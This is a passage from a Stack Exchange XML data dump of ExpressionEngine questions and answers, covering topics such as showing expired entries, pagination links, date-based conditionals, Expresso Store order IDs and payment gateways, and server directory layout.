ContentLicense="CC BY-SA 3.0" />
  <row Id="6466" PostTypeId="1" AcceptedAnswerId="6473" CreationDate="2013-02-18T01:19:03.563" Score="5" ViewCount="1451" Body="&lt;p&gt;Is there a way where i can create a function that only displays expired entries? I have a page set up that displays, up and coming and pervious events &lt;a href=&quot;http://thecharlesnyc.com/dev/jperiod/ExpressionEngine/index.php/events/new_events#.USF-aVpeuFc&quot; rel=&quot;noreferrer&quot;&gt;click here&lt;/a&gt; when the user clicks on the pervious button it displays all past events.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;            channel=&quot;events&quot;&#xA;            disable=&quot;member_data|pagination|trackbacks&quot;&#xA;            dynamic=&quot;no&quot;&#xA;            sort=&quot;asc&quot; &#xA;            start_on=&quot;{current_time format='%Y-%m-%d %H:%i'}&quot; &#xA;            show_future_entries=&quot;no&quot;&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i current have the tags above to display the events i have used the tag &lt;strong&gt;start_on&lt;/strong&gt; to displays dates etc on the page. What tag(s) do i need to apply in order for my pervious template to display past events only?&lt;/p&gt;&#xA;" OwnerUserId="459" LastEditorUserId="237" LastEditDate="2013-02-18T07:27:43.450" LastActivityDate="2016-09-19T18:12:58.080" Title="displaying expired entries" Tags="|templates|categories|conditionals|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6467" PostTypeId="2" ParentId="6449" CreationDate="2013-02-18T02:38:43.963" Score="1" Body="&lt;p&gt;Adrian may have a better answer, but this works for me...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your add-on is not a Git repository, of if you would rather install the theme manually rather than as a submodule, you can just download the theme from Github and put it in your Sphinx documentation setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just make sure your &lt;code&gt;conf.py&lt;/code&gt; file has the correct path to the theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if your documentation setup looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZO0kK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'd have this in your &lt;code&gt;conf.py&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;html_theme_path = ['_themes']&#xA;html_theme = 'cidoc'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you aren't already familiar with Sphinx I found this to be a really helpful guide: &lt;a href=&quot;http://www.ibm.com/developerworks/library/os-sphinx-documentation/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Easy and beautiful documentation with Sphinx.&lt;/a&gt; Along with the official doc's &lt;a href=&quot;http://sphinx-doc.org/tutorial.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;First Steps with Sphinx.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to Adrian for making this available!&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2013-02-18T02:38:43.963" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6468" PostTypeId="1" AcceptedAnswerId="6530" CreationDate="2013-02-18T03:03:58.693" Score="2" ViewCount="74" Body="&lt;p&gt;I've been having problems getting the first_page and last_page pagination links to work correctly. I then spotted a user comment &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/pagination_page.html&quot; rel=&quot;nofollow&quot;&gt;in the docs&lt;/a&gt; that said they only appear if there's four or more pages (though I hoped this just applied to the auto-generated pagination_links variable). I'm trying to output them at all times and thought the pagination variables would give me that flexibility.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've inserted my code below - can anyone see if I'm doing anything wrong here? Or is there another way to be going about this? Or is it by design or a bug that the first_page and last_page only work when there's four or more pages? The links do indeed work when there's 4 or more pages.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{paginate}&#xA;  {pagination_links}&#xA;    &amp;lt;div class=&quot;search-pagination&quot;&amp;gt;&#xA;      &amp;lt;ul&amp;gt;&#xA;        &amp;lt;li class=&quot;first&quot;&amp;gt;&amp;lt;a href=&quot;{first_page}{pagination_url}{/first_page}&quot;&amp;gt;First&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;li class=&quot;prev&quot;&amp;gt;&amp;lt;a href=&quot;{previous_page}{pagination_url}{/previous_page}&quot;&amp;gt;Previous&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;li class=&quot;page-info&quot;&amp;gt;Page {current_page} of {total_pages}&amp;lt;/li&amp;gt;&#xA;        &amp;lt;li class=&quot;next&quot;&amp;gt;&amp;lt;a href=&quot;{next_page}{pagination_url}{/next_page}&quot;&amp;gt;Next&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;li class=&quot;last&quot;&amp;gt;&amp;lt;a href=&quot;{last_page}{pagination_url}{/last_page}&quot;&amp;gt;Last&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;      &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!--search-pagination--&amp;gt;&#xA;  {/pagination_links}&#xA;{/paginate}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="290" LastActivityDate="2013-02-19T17:14:07.967" Title="Trying to output first_page and last_page pagination links when there's less than four pages" Tags="|channel-entries|pagination|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6469" PostTypeId="2" ParentId="6466" CreationDate="2013-02-18T03:10:19.637" Score="2" Body="&lt;p&gt;If you use the expiration date in EE then all you need to do is set a conditional in the channel:entries tag that compares the expiration date to the current date like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if expiration_date &amp;lt; current_time}&#xA;    display your content&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you don't use expiration date but do have an {event_end_date} or similarly named field then you can swap expiration_date with {event_end_date}.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also remove the start_on parameter from your channel:entries tag because this will keep previous entries from being parsed.&lt;/p&gt;&#xA;" OwnerUserId="237" LastActivityDate="2013-02-18T03:10:19.637" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6470" PostTypeId="1" AcceptedAnswerId="6471" CreationDate="2013-02-18T04:08:33.787" Score="2" ViewCount="858" Body="&lt;p&gt;I want to embed a template if the entry_date of an entry is less than a certain age, and display something else otherwise.  Is there a good way to do this natively?  With addons?  I tried the timespan plugin, but the documentation seems to halfway be for a previous version of the app that was named differently, and none of it seems to actually work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my specific case I want to embed the template if the entry is less than 3 years old, but otherwise display a message that we don't provide this information for old entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the most common useful case for this is a contact form (or comment field though there are addons for expiring comments) for each entry in a channel and you start to get hammered with spam on old entries.&lt;/p&gt;&#xA;" OwnerUserId="268" LastEditorUserId="268" LastEditDate="2013-02-27T04:28:41.557" LastActivityDate="2013-02-27T04:28:41.557" Title="Conditional based on the age of an entry" Tags="|channel-entries|conditionals|date|spam|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6471" PostTypeId="2" ParentId="6470" CreationDate="2013-02-18T04:24:10.750" Score="4" Body="&lt;p&gt;Here are two options you could try. Vim Interactive has a date plug-in, &lt;a href=&quot;http://viminteractive.com/software/dt_plugin/&quot; rel=&quot;nofollow&quot;&gt;DT Plugin&lt;/a&gt;, that lets you set the year offset within the plug-in tag itself. Solspace also has a date plug-in called &lt;a href=&quot;http://www.solspace.com/software/detail/date_field_filter/&quot; rel=&quot;nofollow&quot;&gt;Date Field Filter&lt;/a&gt;. To set the offset you require would mean you need to turn on PHP in your templates. I'd recommend trying Vim's plug-in first and see of this solves your problem before going down the Solspace route. Both plug-ins are free so there's no reason not to give them a shot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;update from further expirimentation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;embed tag:{embed=&quot;grp/tmp&quot; ent_date=&quot;{exp:dt set=&quot;{entry_date format=&quot;%m/%d/%y&quot;}&quot; ee_format=“true&quot; format=&quot;%y%m%d&quot;}&quot; 3_years=&quot;{exp:dt year=&quot;-3&quot; ee_format=“true&quot; format=&quot;%y%m%d&quot;}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to add variables to the embedded template, and then:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {embed:ent_date} &amp;lt; {embed:3_years}}Old Entry Message{if:else}New Entry Content{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="237" LastEditorUserId="237" LastEditDate="2013-02-18T13:51:26.683" LastActivityDate="2013-02-18T13:51:26.683" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6472" PostTypeId="2" ParentId="6218" CreationDate="2013-02-18T06:02:53.043" Score="1" Body="&lt;p&gt;currently there's no way to do what you want that I can think of, but I like the idea. Seeing as we have Assets 2.1 in development, I'll have a chat with Brandon and we'll see what we can come up with to make you happy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers,&#xA;Andris&lt;/p&gt;&#xA;" OwnerUserId="722" LastActivityDate="2013-02-18T06:02:53.043" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6473" PostTypeId="2" ParentId="6466" CreationDate="2013-02-18T07:48:08.480" Score="3" Body="&lt;pre&gt;&lt;code&gt;{exp:channel:entries &#xA;   show_expired=&quot;yes&quot;&#xA;   stop_before=&quot;{current_time format='%Y-%m-%d %H:%i'}&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="19" LastActivityDate="2013-02-18T07:48:08.480" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6474" PostTypeId="2" ParentId="6470" CreationDate="2013-02-18T08:08:35.200" Score="1" Body="&lt;p&gt;you could check if the current date minus the date of the entry exceeds 3 years:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if '{current_time format=&quot;%U&quot;}' - '{entry_date format=&quot;%U&quot;}' &amp;gt;= 31536000}&#xA;    // entry is older than 3 years&#xA;{/if} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;note that this isn't a 100% correct, as the '31536000' is the amount of seconds in a normal year, so this neglects leap-years..&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2013-02-18T08:08:35.200" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6475" PostTypeId="2" ParentId="6470" CreationDate="2013-02-18T10:30:57.003" Score="0" Body="&lt;p&gt;Having had a quick look at the &lt;a href=&quot;http://devot-ee.com/add-ons/timespan&quot; rel=&quot;nofollow&quot;&gt;Timespan&lt;/a&gt; source code I think you'd want to try something like this if you haven't already:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:timespan date=&quot;{entry_date}&quot;}&#xA;    {if '{timespan:years}' &amp;lt; '3'}&#xA;        DOSTUFF&#xA;    {if:else}&#xA;        OTHERSTUFF&#xA;    {/if}&#xA;{/exp:timespan}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not sure why their sample code includes references to &lt;code&gt;{exp:ellapsed}&lt;/code&gt; - maybe it was an earlier name for the addon.&lt;/p&gt;&#xA;" OwnerUserId="77" LastEditorUserId="77" LastEditDate="2013-02-18T10:36:11.133" LastActivityDate="2013-02-18T10:36:11.133" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6476" PostTypeId="2" ParentId="6412" CreationDate="2013-02-18T12:06:23.323" Score="1" Body="&lt;p&gt;Looks like it was just a matter of resetting the publishing layout when editing a Zoo Visitor Member. The Structure tab is now restored and I can assign the desired template to the entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Possibly caused by installing Zoo Visitor after Structure? No idea, but it's all working now! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to the &lt;a href=&quot;http://devot-ee.com/add-ons/support/zoo-visitor/viewthread/8687&quot; rel=&quot;nofollow&quot;&gt;Zoo guys&lt;/a&gt; for pointing me in the right direction.  &lt;/p&gt;&#xA;" OwnerUserId="27" LastActivityDate="2013-02-18T12:06:23.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6477" PostTypeId="1" CreationDate="2013-02-18T13:25:55.157" Score="1" ViewCount="121" Body="&lt;p&gt;If I enter the URL to a channel that was deleted months ago, my EE install seems to default to the homepage. &#xA;I have read up on strict URLs, but if enabled, EE checks whether the first segment in the URL corresponds to a template group so its not possible to access templates directly inside the site group folder without adding it into the URL.&#xA;Is there anyway to ensure old URLs like this display the 404 page listed, rather than the homepage without the use of a manual 301 redirect?&lt;/p&gt;&#xA;" OwnerUserId="822" LastEditorUserId="822" LastEditDate="2013-02-18T13:54:29.440" LastActivityDate="2013-02-18T19:24:29.007" Title="Old URLs and strict URLs" Tags="|url|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6478" PostTypeId="2" ParentId="6477" CreationDate="2013-02-18T13:51:27.300" Score="1" Body="&lt;p&gt;Enabling strict urls means that EE checks whether the first segment in any URL corresponds to a template group. If that's not the case, EE will display a 404. To my knowledge there is no relationship between this and what you say here&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;any templates in the site directory need to have the site folder name in the URL&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Maybe you have to edit your question and elaborate. As far as I can see, simply enabling site URL should work in your case. If you want to target entries rather than template group, have a look at the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#require-entry&quot; rel=&quot;nofollow&quot;&gt;require_entry parameter&lt;/a&gt; for the channel entries loop. If you want an in depth look at 404 pages, I recommend this &lt;a href=&quot;http://joviawebstudio.com/index_ee.php/blog/guide_to_404_pages_with_expressionengine/&quot; rel=&quot;nofollow&quot;&gt;guide to 404 pages in ExpressionEngine&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT: question clearer now&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I want to be able to access domain.com/template.html, not domain.com/site/template.html, but at the same time, not have domain.com/old_template_group/template take me to the homepage, instead take me to the 404 error page.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT: cannot see any easy way&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you activate strict_url and then do a mod rewrite from /template to /site/template, EE will still redirect you to a 404 because your first segment will not be a legit template group.&lt;/p&gt;&#xA;" OwnerUserId="141" LastEditorUserId="141" LastEditDate="2013-02-18T19:24:29.007" LastActivityDate="2013-02-18T19:24:29.007" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="6479" PostTypeId="2" ParentId="6464" CreationDate="2013-02-18T14:51:10.543" Score="2" Body="&lt;p&gt;CartThrob doesn't use the Channel Entries API, so the entry_submission_end hook is never triggered. You will need to use one of the hooks they provide instead.&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2013-02-18T14:51:10.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6480" PostTypeId="1" CreationDate="2013-02-18T15:44:52.810" Score="0" ViewCount="232" Body="&lt;p&gt;before I get my hands dirty, I wanted to ask if someone in the community has done an automatic layout tool for expressionengine? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am talking about the method here: &#xA;&lt;a href=&quot;http://alistapart.com/article/magazinelayout&quot; rel=&quot;nofollow&quot;&gt;http://alistapart.com/article/magazinelayout&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the php code is available, but I think it has no caching and I don't speak php...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any hints welcome!&lt;/p&gt;&#xA;" OwnerUserId="388" LastActivityDate="2013-02-19T19:05:09.163" Title="has anyone done a plugin for an automatic magazine layout?" Tags="|automation|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6481" PostTypeId="1" AcceptedAnswerId="6482" CreationDate="2013-02-18T15:58:22.667" Score="0" ViewCount="65" Body="&lt;p&gt;I have several status change parcels that work great both from Safecracker forms as well as single edits on the cp, however if I bulk edit the entries to change multiple entries status' the status changes parcel are not triggered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Mike&lt;/p&gt;&#xA;" OwnerUserId="386" LastActivityDate="2013-02-18T16:12:07.353" Title="Postmaster doesn't email on bulk status change" Tags="|postmaster|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6482" PostTypeId="2" ParentId="6481" CreationDate="2013-02-18T16:12:07.353" Score="2" Body="&lt;p&gt;I guess it was an oversight when I first built Postmaster, but this functionality is currently not supported. Postmaster is just triggered by the entry_submission_end hook, not the bulk update.It could easily be added, but currently it's not available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will definitely add this to the list of things to support in the next release, which is v1.3. I don't have any ETA available for this release, so email support[at]objectivehtml.com if you have a tight deadline and we might be able to work out something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The real problem I see is that the native EE hook doesn't pass much data. So you would have to rely on the POST data and loop through the entry_id's.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fCHBl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2013-02-18T16:12:07.353" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6483" PostTypeId="1" AcceptedAnswerId="6486" CreationDate="2013-02-18T16:17:25.980" Score="3" ViewCount="290" Body="&lt;p&gt;My client would like the order numbers (order_id)'s to start at 30000 (thirty thousand) rather than starting at 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at the database I can see in the exp_store_orders table that order_id is set to auto_increment. This would lead me to believe that I should be able to bump up the numbers by just doing the following on that table:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ALTER TABLE exp_store_orders AUTO_INCREMENT = 30000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As this site is almost ready to go live I don't want to FUBAR it, so I'd appreciate confirmation that this is the only place I need to make a change!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your advice is much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="785" LastActivityDate="2013-02-19T10:10:54.423" Title="Expresso Store - Change order_id start point" Tags="|expresso-store|mysql|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6484" PostTypeId="1" AcceptedAnswerId="6488" CreationDate="2013-02-18T16:27:06.750" Score="1" ViewCount="202" Body="&lt;p&gt;slightly strange requirement! We have a setup which requires the user to reserve the products they want to buy via an add to cart/checkout system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So they add what they want to basket, click 'reserve' (checkout, if you like), fill out their name, the date they want to collect it and the store that want to collect it from, then submit it so the site admin can sort it out for collection. No payment involved (though that might come later).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this something Exp:resso Store can handle? Effectively skipping the payment bit and submitting a free order, despite the products having prices.&lt;/p&gt;&#xA;" OwnerUserId="522" LastActivityDate="2013-02-18T19:41:35.193" Title="Exp:resso Store - skipping payment gateways, free orders" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6485" PostTypeId="1" AcceptedAnswerId="6525" CreationDate="2013-02-18T16:32:20.967" Score="2" ViewCount="327" Body="&lt;p&gt;Is it possible to allow PHP in the Expresso Store email templates? I can't see settings to do so in the admin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason I need to do so is as follows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We are going to use the Status message field to pass a parcel tracking code to the email template so the customer can track their parcel. However, if the parcel is going to the USA then we need to allow 2 tracking codes (one for the UK, then the next for the US leg of the journey). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We were going to enter both codes in the message box separated by the | (pipe) symbol, but we obviously need some way to split that apart on the template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone can suggest a better way to add two tracking codes then I'd be glad to hear it!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for your advice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;T&lt;/p&gt;&#xA;" OwnerUserId="785" LastActivityDate="2013-02-22T12:31:10.580" Title="Expresso Store - PHP in email template" Tags="|expresso-store|status|messages|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6486" PostTypeId="2" ParentId="6483" CreationDate="2013-02-18T16:37:29.823" Score="5" Body="&lt;p&gt;Yes, that is the correct way to do it. To clarify this for others, you will need to open up PHPMyAdmin, or any other SQL client which will let you run SQL queries directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also go to Tools &gt; Data &gt; SQL Manager &gt; Database Query Form in the ExpressionEngine control panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then run this query, replacing &lt;code&gt;30000&lt;/code&gt; with the order ID you want to assign to the next order:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ALTER TABLE `exp_store_orders` AUTO_INCREMENT = 30000;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This won't break anything, because it's exactly how Store generates new order IDs (using the MySQL auto increment counter).&lt;/p&gt;&#xA;" OwnerUserId="150" LastEditorUserId="150" LastEditDate="2013-02-19T10:10:54.423" LastActivityDate="2013-02-19T10:10:54.423" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6487" PostTypeId="2" ParentId="6156" CreationDate="2013-02-18T16:46:35.633" Score="0" Body="&lt;p&gt;After looking on the interwebs I found a solution that suits my needs for the moment. I guess a real solution would involve cookies and some more checks. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I put this in the index.php file. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$lc = &quot;&quot;; // Initialize the language code variable&#xA;// Check to see that the global language server variable isset()&#xA;// If it is set, we cut the first two characters from that string&#xA;if(isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])){&#xA;    $lc = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2);&#xA;}&#xA;// Now we simply evaluate that variable to detect specific languages&#xA;if($lc == &quot;es&quot;){&#xA;    header(&quot;location: /es&quot;);&#xA;    exit();&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it's great, because it always checks for ALL of the locales (es-es, es...)! &#xA;but it gets executed on every page load... this is certainly no good...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;cheers&#xA;stefan&lt;/p&gt;&#xA;&#xA;&lt;p&gt;btw: If somebody knows a better solution, please don't hesitate to post it... it's still not a 100% satisfactory for me. &lt;/p&gt;&#xA;" OwnerUserId="388" LastActivityDate="2013-02-18T16:46:35.633" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6488" PostTypeId="2" ParentId="6484" CreationDate="2013-02-18T16:47:42.233" Score="5" Body="&lt;p&gt;You would be best suited to use the Manual Payment Gateway (&lt;a href=&quot;https://exp-resso.com/docs/store/payment_gateways.html#manual&quot; rel=&quot;nofollow&quot;&gt;doc link&lt;/a&gt;). It is intended for things like bank transfers or cheque but would also serve the purpose of allowing the order to be completed without requiring a user to enter any payment details. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could then use the &lt;code&gt;{exp:store:payments}&lt;/code&gt; tag pair down the road to allow for the user to make a payment. &lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2013-02-18T19:41:35.193" LastActivityDate="2013-02-18T19:41:35.193" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6489" PostTypeId="1" CreationDate="2013-02-18T17:42:30.703" Score="2" ViewCount="390" Body="&lt;p&gt;Is it possible to customise PDF generation when, eg, generating PDF Reports?&#xA;Client is wanting to know if it is possible to append custom information to the PDF report, eg packaging information and returns information which they are using for packing slips with client orders.&lt;/p&gt;&#xA;" OwnerUserId="333" LastEditorUserId="150" LastEditDate="2013-02-19T10:02:10.477" LastActivityDate="2013-11-01T06:54:16.780" Title="Expresso Store: Custom PDF generation" Tags="|expresso-store|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6490" PostTypeId="2" ParentId="6489" CreationDate="2013-02-18T18:08:04.637" Score="0" Body="&lt;p&gt;Have you checked out PDF Press? &lt;a href=&quot;http://devot-ee.com/add-ons/pdf-press&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/pdf-press&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a few other options, too, including writing your own code if you're feeling adventurous.&lt;/p&gt;&#xA;" OwnerUserId="673" LastActivityDate="2013-02-18T18:08:04.637" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6492" PostTypeId="1" CreationDate="2013-02-18T20:13:30.273" Score="0" ViewCount="256" Body="&lt;p&gt;When a new user is created on my site, its suppose to bill the account a recurring fee of $8 but for some reason an account can be created without entering any Credit Card information at all.  Heres a &lt;a href=&quot;http://d.pr/1P3b&quot; rel=&quot;nofollow&quot;&gt;picture of the plans&lt;/a&gt; from the Membrr Module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Transaction doesnt even show up in Stripe which I'm not sure if its suppose to in test mode, but just in case it is I thought I would mention that. The API Keys I used were the Test Secret Key, and Live Secret Key if that helps any&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I stop the user from getting pass the registration page if they enter incorrect or no Credit Card Information?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit after nonprofit_tech's reply:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to allow users that are logged into the &quot;members&quot; member group to have access to specific content on the website.  On the registration page, the user is asked to add in their Billing Information and Login Details.  They are given a 30 day free trial and the credit card would be charged when the trial period ends.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://d.pr/nYTD&quot; rel=&quot;nofollow&quot;&gt;Here is my form&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After registration the user is moved to the group &quot;members&quot; and on expiration they are moved to &quot;expired members&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So with the way the registration process is here, would it be possible to validate the Billing Information at this point, or is the only option after the 30 days when the card is to be charged?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In OpenGateway, I have stripe set up as the only Gateway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Stripe Details In Open Gateway:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Enable This gateway?: Enabled&lt;/li&gt;&#xA;&lt;li&gt;Enabled Mode: Live Mode &lt;/li&gt;&#xA;&lt;li&gt;Test API Key: sk_test_xxxxxxx &lt;/li&gt;&#xA;&lt;li&gt;Live API Key: sk_live_xxxxxxx &lt;/li&gt;&#xA;&lt;li&gt;Accept Visa: Yes &lt;/li&gt;&#xA;&lt;li&gt;Accept MasterCard: Yes &lt;/li&gt;&#xA;&lt;li&gt;Accept Discover: Yes &lt;/li&gt;&#xA;&lt;li&gt;Accept American Express: Yes&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="941" LastEditorUserId="941" LastEditDate="2013-02-19T14:29:53.217" LastActivityDate="2013-03-21T14:49:51.803" Title="Validating CC while using Membrr and Stripe" Tags="|membrr|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6493" PostTypeId="2" ParentId="6410" CreationDate="2013-02-18T20:35:19.723" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;We are on Rackspace Managed Cloud Servers. We have vhosts set up. My folder structure looks like this: -/var/www/vhosts/mysite.com If this what you expect? could I just put the admin files in &quot;www&quot;?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;My setup is the same. I configure my vhosts with the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mysite.com&#xA;  database&#xA;  log&#xA;  public&#xA;  system&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Public is where the vhost actually points to to serve up the website.&lt;/li&gt;&#xA;&lt;li&gt;Log is where log files are stored.&lt;/li&gt;&#xA;&lt;li&gt;Database is a folder I create to store mysql dump files to move copies of my db around.&lt;/li&gt;&#xA;&lt;li&gt;System is the EE system directory, one level up from &lt;code&gt;index.php&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Once you change your &lt;code&gt;index.php&lt;/code&gt; and &lt;code&gt;admin.php&lt;/code&gt; to use &lt;code&gt;../&lt;/code&gt; syntax to look 1 directory 